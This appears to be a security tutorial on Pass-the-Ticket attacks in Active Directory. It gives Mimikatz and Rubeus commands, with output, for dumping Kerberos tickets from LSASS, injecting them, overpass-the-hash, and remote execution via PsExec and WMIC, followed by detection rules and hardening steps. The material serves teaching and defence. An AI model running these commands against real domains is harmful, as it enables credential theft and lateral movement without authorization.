Pass-the-Ticket attack diagram showing Kerberos ticket extraction and lateral movement in Active Directory

Pass-the-Ticket: Kerberos Ticket Hijacking

Pass-the-Ticket attack technique for lateral movement by exporting and importing Kerberos tickets from memory.

Jul 21, 2026
2 min read

Introduction

Pass-the-Ticket (PtT) exploits the way Windows stores Kerberos tickets in LSASS memory. A valid Kerberos ticket — either a Ticket Granting Ticket (TGT) or a service ticket (TGS) — can be extracted from one session and injected into another without knowing the account's password or hash. The injected session then authenticates as if it were the original account.

Unlike Pass-the-Hash, PtT works in environments where NTLM authentication has been disabled or restricted to LAN Manager. Kerberos has no mechanism to verify that a ticket is being used from the same machine or session it was issued to — the KDC simply checks the ticket's encryption and timestamps. This architectural property is what makes PtT viable.

The scope of access depends on what was stolen. A TGT provides access to any service in the domain for the duration of the ticket's lifetime (default 10 hours). A TGS is scoped to a single service on a single host. TGT theft from a privileged session — Domain Admin, local admin with cached tickets, or a service account — is the higher-value target. TGS theft requires less privilege to execute but is narrower in impact.

Authorization Required

Pass-the-Ticket techniques require administrative access to the source machine to read LSASS memory. Only execute these techniques on systems you are explicitly authorized to test. Memory dumping triggers AV/EDR alerts and leaves forensic artifacts.

Impact

  • Full domain impersonation when a Domain Admin TGT is stolen — the attacker can request service tickets for any SPN in the domain
  • NTLM-free lateral movement — bypasses environments that have blocked NTLM via GPO
  • No credential exposure — the attack leaves no plaintext or hash on disk; tickets are ephemeral in memory
  • Persistence within ticket lifetime — default TGT lifetime is 10 hours, renewable up to 7 days without re-authentication
  • Service-specific access — TGS theft grants silent access to SMB shares, MSSQL, HTTP services without triggering password-based authentication events
  • Cross-session privilege abuse — a low-privilege process with SeDebugPrivilege can hijack tickets from high-privilege sessions running on the same host

Technical Details

Kerberos tickets are stored in the Local Security Authority Subsystem Service (LSASS) process memory under each logon session. The Kerberos Security Support Provider (SSPI) maintains a ticket cache per logon session, keyed by the Logon Session ID (LUID). Windows exposes this cache through the undocumented LsaCallAuthenticationPackage API, which Mimikatz and Rubeus both use to enumerate and extract tickets.

Tickets are serialized in the Kerberos Credential (KIRBI) format — a DER-encoded ASN.1 structure wrapping the encrypted ticket and session keys. When you inject a .kirbi file with kerberos::ptt or Rubeus ptt, the ticket is imported into the current session's credential cache. All subsequent Kerberos authentication from that process uses the injected ticket.

The key distinction in PtT targets:

Ticket TypeEncrypted ByAccess ScopeValue
TGTKRBTGT hashAny service in the domainHigh
TGS (service ticket)Service account hashSingle SPN onlyMedium
TGS from DC memoryKRBTGT hash (wrapped)Depends on what was capturedVariable

Privilege Escalation to Read LSASS

Most PtT workflows require SeDebugPrivilege to read LSASS memory. On systems where you have local admin, Mimikatz acquires this via privilege::debug. Rubeus running as SYSTEM or with debug rights will enumerate tickets from all sessions.

Acquire SeDebugPrivilege (Mimikatz)
mimikatz # privilege::debug
Privilege '20' OK

Without debug privilege, ticket extraction is limited to the current user's own session.

Export Tickets from LSASS (Mimikatz)

sekurlsa::tickets /export dumps every Kerberos ticket from all logon sessions to .kirbi files in the current directory.

Export all tickets from LSASS
mimikatz # sekurlsa::tickets /export

Authentication Id : 0 ; 524892 (00000000:0008021c)
Session           : Interactive from 1
User Name         : jsmith
Domain            : CORP
Logon Server      : DC01
Logon Time        : 6/23/2026 9:14:32 AM
SID               : S-1-5-21-3842939050-3880317879-2865463114-1105

         * Username : jsmith
         * Domain   : CORP.LOCAL
         * Password : (null)

        Group 0 - Ticket Granting Service
         [00000000]
           Start/End/MaxRenew: 6/23/2026 9:14:32 AM ; 6/23/2026 7:14:32 PM ; 6/30/2026 9:14:32 AM
           Service Name (02) : cifs ; DC01.corp.local ; @ CORP.LOCAL
           Target Name  (02) : cifs ; DC01.corp.local ; @ CORP.LOCAL
           Client Name  (01) : jsmith @ CORP.LOCAL
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
           Ticket            : 0x00000012 - aes256_hmac ; kvno = 4 [...]
           * Saved to file [0;8021c]-0-0-40a50000-jsmith@cifs-DC01.corp.local.kirbi !

        Group 1 - Client Ticket (?)

        Group 2 - Ticket Granting Ticket
         [00000000]
           Start/End/MaxRenew: 6/23/2026 9:14:32 AM ; 6/23/2026 7:14:32 PM ; 6/30/2026 9:14:32 AM
           Service Name (02) : krbtgt ; CORP.LOCAL ; @ CORP.LOCAL
           Target Name  (02) : krbtgt ; CORP.LOCAL ; @ CORP.LOCAL
           Client Name  (01) : jsmith @ CORP.LOCAL
           Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
           Ticket            : 0x00000012 - aes256_hmac ; kvno = 2 [...]
           * Saved to file [0;8021c]-2-0-40e10000-jsmith@krbtgt-CORP.LOCAL.kirbi !

TGT files are named [LUID]-2-0-40e10000-<user>@krbtgt-<domain>.kirbi. TGS files use group 0 ([LUID]-0-0-...).

Inject the Ticket (Mimikatz ptt)

Clear the current session's ticket cache first, then inject the target ticket.

Inject .kirbi ticket into current session
# Clear existing tickets to avoid conflicts
mimikatz # kerberos::purge
Ticket(s) purge for current session is OK

# Import TGT
mimikatz # kerberos::ptt [0;8021c]-2-0-40e10000-jsmith@krbtgt-CORP.LOCAL.kirbi
* File: '[0;8021c]-2-0-40e10000-jsmith@krbtgt-CORP.LOCAL.kirbi': OK

# Or import TGS directly
mimikatz # kerberos::ptt [0;8021c]-0-0-40a50000-jsmith@cifs-DC01.corp.local.kirbi
* File: '[0;8021c]-0-0-40a50000-jsmith@cifs-DC01.corp.local.kirbi': OK

Verify Injection

Verify injected tickets with klist
C:\> klist

Current LogonId is 0:0x31a4f2

Cached Tickets: (2)

#0>     Client: jsmith @ CORP.LOCAL
        Server: krbtgt/CORP.LOCAL @ CORP.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 6/23/2026 9:14:32 (local)
        End Time:   6/23/2026 19:14:32 (local)
        Renew Time: 6/30/2026 9:14:32 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY

#1>     Client: jsmith @ CORP.LOCAL
        Server: cifs/DC01.corp.local @ CORP.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 6/23/2026 9:14:32 (local)
        End Time:   6/23/2026 19:14:32 (local)
        Renew Time: 6/30/2026 9:14:32 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x0

With a TGT injected, the session will request new TGS tickets transparently when accessing services.

Access Target Resources

Access resources with injected ticket
# List DC admin share (TGT will auto-request cifs TGS)
dir \\DC01.corp.local\C$

# Remote command execution via SMB
.\PsExec.exe \\DC01.corp.local -s cmd.exe

# WMI lateral movement
wmic /node:DC01.corp.local process call create "cmd.exe /c whoami > C:\out.txt"

Overpass-the-Hash (Hash to TGT)

When you have an NTLM hash but want a Kerberos TGT rather than an NTLM token, use Mimikatz sekurlsa::pth. This spawns a new process using the hash to request a TGT from the KDC, avoiding NTLM authentication entirely — critical in environments that log NTLM usage.

Overpass-the-Hash — NTLM hash to Kerberos TGT
mimikatz # sekurlsa::pth /user:jsmith /domain:corp.local /ntlm:a87f3a337d73085c45f9416be5787d86 /run:cmd.exe

user    : jsmith
domain  : corp.local
program : cmd.exe
impers. : no
NTLM    : a87f3a337d73085c45f9416be5787d86
  |  PID  3740
  |  TID  4832
  |  LSA Process is now R/W
  |  LUID 0 ; 15992898 (00000000:00f41242)
  \_ msv1_0   - data copy @ 00000083E5B0B390 : OK !
  \_ kerberos - data copy @ 00000083E5AA3EB8
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 00000083E56FF698 (32) -> null

The new cmd.exe process has the hash loaded in its Kerberos context. The first Kerberos authentication (e.g., dir \\DC01\share) triggers an AS-REQ that fetches a real TGT.

Attack Tools

Export all tickets from LSASS:

Mimikatz — dump and export tickets
privilege::debug
sekurlsa::tickets /export

Inject a specific ticket:

Mimikatz — inject .kirbi file
kerberos::purge
kerberos::ptt [0;8021c]-2-0-40e10000-jsmith@krbtgt-CORP.LOCAL.kirbi

Overpass-the-Hash (get TGT from NTLM hash):

Mimikatz — sekurlsa::pth
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:aad3b435b51404eeaad3b435b51404ee /run:cmd.exe

List tickets in current session:

Mimikatz — list tickets
kerberos::list

Dump all tickets (base64, no file write):

Rubeus — dump tickets from all sessions
.\Rubeus.exe dump /nowrap
[*] Action: Dump Kerberos Ticket Data (All Users)

[*] Current LUID    : 0x31a4f2

  UserName                 : jsmith
  Domain                   : CORP
  LogonId                  : 0x8021c
  UserSID                  : S-1-5-21-3842939050-3880317879-2865463114-1105
  AuthenticationPackage    : Kerberos
  LogonType                : Interactive
  LogonTime                : 6/23/2026 9:14:32 AM
  LogonServer              : DC01
  LogonServerDNSDomain     : CORP.LOCAL

    [*] Ticket[0]

          ServiceName              : krbtgt/CORP.LOCAL
          ServiceRealm             : CORP.LOCAL
          UserName                 : jsmith
          UserRealm                : CORP.LOCAL
          StartTime                : 6/23/2026 9:14:32 AM
          EndTime                  : 6/23/2026 7:14:32 PM
          RenewTill                : 6/30/2026 9:14:32 AM
          Flags                    : name_canonicalize, pre_authent, initial, renewable, forwardable
          KeyType                  : aes256_hmac
          Base64(key)              : abc123...==
          Base64EncodedTicket      : doIFpDCCBaCgAwIBBaEDAgEW...TRUNCATED...==

Inject base64 ticket directly:

Rubeus — ptt with base64 ticket
.\Rubeus.exe ptt /ticket:doIFpDCCBaCgAwIBBaEDAgEW...==

Dump tickets to .kirbi files:

Rubeus — dump to file
.\Rubeus.exe dump /luid:0x8021c /service:krbtgt /outfile:jsmith_tgt.kirbi

Request TGT using hash (Overpass-the-Hash):

Rubeus — asktgt with NTLM hash
.\Rubeus.exe asktgt /user:jsmith /domain:corp.local /rc4:a87f3a337d73085c45f9416be5787d86 /ptt /nowrap

Monitor for new tickets in real time:

Rubeus — monitor ticket creation
.\Rubeus.exe monitor /interval:5 /nowrap

Detection

Event IDs to Monitor

Event IDSourceTrigger
4768Domain Controller (Security)TGT requested (AS-REQ)
4769Domain Controller (Security)Service ticket requested (TGS-REQ)
4771Domain Controller (Security)Kerberos pre-authentication failed
4624Target host (Security)Logon with Kerberos (LogonType 3)
4672Target host (Security)Special privileges assigned to new logon
10SysmonLSASS memory read (GrantedAccess: 0x1010)

Anomaly Indicators

Ticket requests from unexpected source IPs:

Splunk — TGT request from workstation
index=windows EventCode=4768 
| where ServiceName="krbtgt" 
| eval host_type=if(match(lower(Computer), "^ws-|^pc-|^laptop-"), "workstation", "server")
| where host_type="workstation" 
| stats count by IpAddress, TargetUserName, Computer
| where count > 1

RC4 encryption where AES is expected:

Splunk — RC4 ticket requests
index=windows EventCode=4769 
| where TicketEncryptionType="0x17" 
| stats count by TargetUserName, ServiceName, IpAddress
| sort -count

Event ID 4769 with TicketEncryptionType=0x17 (RC4-HMAC) for accounts configured to use AES-256 (0x12) is a strong indicator of ticket forging or older tool usage.

Non-standard ticket lifetimes:

Injected tickets retain their original timestamps. A ticket issued at 09:00 appearing in a session that started at 15:00 is suspicious. SIEM rules can correlate ticket StartTime in 4769 events against logon session creation time.

LSASS handle acquisition (Sysmon Event 10):

Sysmon Rule — LSASS memory access
<RuleGroup groupRelation="or">
  <ProcessAccess onmatch="include">
    <TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
    <GrantedAccess condition="contains">0x1010</GrantedAccess>
  </ProcessAccess>
</RuleGroup>

Mimikatz requests PROCESS_VM_READ | PROCESS_QUERY_INFORMATION (0x1010) against LSASS. Legitimate access patterns (AV, EDR, WER) have known process names and signatures — anything else is worth investigating.

Rubeus dump from non-admin processes:

Rubeus with /luid requires debug privilege. If SeDebugPrivilege is assigned to a process that is not a known admin tool (Event ID 4672, Privilege SeDebugPrivilege), correlate with LSASS access events.

SIEM Correlation Rule

Sigma — Pass-the-Ticket via LSASS dump
title: Kerberos Ticket Dumped from LSASS
status: stable
logsource:
  product: windows
  category: process_access
detection:
  selection:
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess|contains:
      - '0x1010'
      - '0x1410'
      - '0x1438'
  filter_legit:
    SourceImage|contains:
      - '\MsMpEng.exe'
      - '\SenseIR.exe'
      - '\csrss.exe'
  condition: selection and not filter_legit
falsepositives:
  - Security products with LSASS access
  - Crash dump utilities under authorized use
level: high
tags:
  - attack.credential_access
  - attack.t1003.001
  - attack.lateral_movement
  - attack.t1550.003

Remediation

Credential Guard is the most effective control. It isolates the LSASS credential store in a virtualization-based security (VBS) enclave, making it inaccessible to processes running in the normal OS context — including Mimikatz running as SYSTEM.

Enable Credential Guard via GPO
# Computer Configuration > Administrative Templates > System > Device Guard
# Turn on Virtualization Based Security: Enabled
# Credential Guard Configuration: Enabled with UEFI lock

# Verify via registry
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\LSA" -Name "LsaCfgFlags"
# LsaCfgFlags = 1 (Enabled without UEFI lock)
# LsaCfgFlags = 2 (Enabled with UEFI lock)

# Verify via WMI
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
  Select-Object VirtualizationBasedSecurityStatus, SecurityServicesRunning

Reduce TGT lifetime to limit the window an attacker has to use a stolen ticket:

Reduce Kerberos ticket lifetime via GPO
# Computer Configuration > Windows Settings > Security Settings > Account Policies > Kerberos Policy
# Maximum lifetime for user ticket: 4 hours (default: 10)
# Maximum lifetime for user ticket renewal: 1 day (default: 7)

# Verify current domain policy
(Get-ADDefaultDomainPasswordPolicy).MaxTicketAge

Session isolation via Restricted Admin mode for RDP prevents credential delegation to remote hosts, which reduces the TGTs exposed on remote machines:

Enable Restricted Admin RDP
# On remote target — enable Restricted Admin
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 0 -PropertyType DWORD -Force

# Connect with Restricted Admin (no credentials sent to remote)
mstsc.exe /restrictedadmin /v:TARGET01.corp.local

Protected Users security group enforces Kerberos-only authentication and prevents TGT caching for interactive sessions:

Add privileged accounts to Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members "DA-jsmith","DA-admin-svc"

# Effect: no TGT cached longer than 4 hours, no NTLM, no Kerberos delegation,
#         no credential caching with CredSSP or Digest

Tiered admin model — Domain Admins should only log into Tier 0 assets (DCs, PKI, etc.), never workstations. This prevents high-value TGTs from appearing in LSASS on workstations where low-privilege attackers can reach them.

Enforce AES-only Kerberos to eliminate RC4 downgrade attacks that make PtT easier with weaker encryption:

Enforce AES encryption for Kerberos
# Set for all user accounts
Get-ADUser -Filter * | Set-ADUser -KerberosEncryptionType AES256,AES128

# Disable RC4 via GPO
# Computer Config > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "Network security: Configure encryption types allowed for Kerberos"
# Uncheck: DES_CBC_CRC, DES_CBC_MD5, RC4_HMAC_MD5
# Check: AES128_HMAC_SHA1, AES256_HMAC_SHA1

References

MITRE ATT&CK Techniques

Tools Documentation

  • Mimikatzsekurlsa::tickets, kerberos::ptt, sekurlsa::pth
  • Rubeusdump, ptt, asktgt, monitor
  • ImpacketgetST.py, ticketer.py, psexec.py -k
  • Klist (built-in) — ticket enumeration and purge

Next Steps

On this page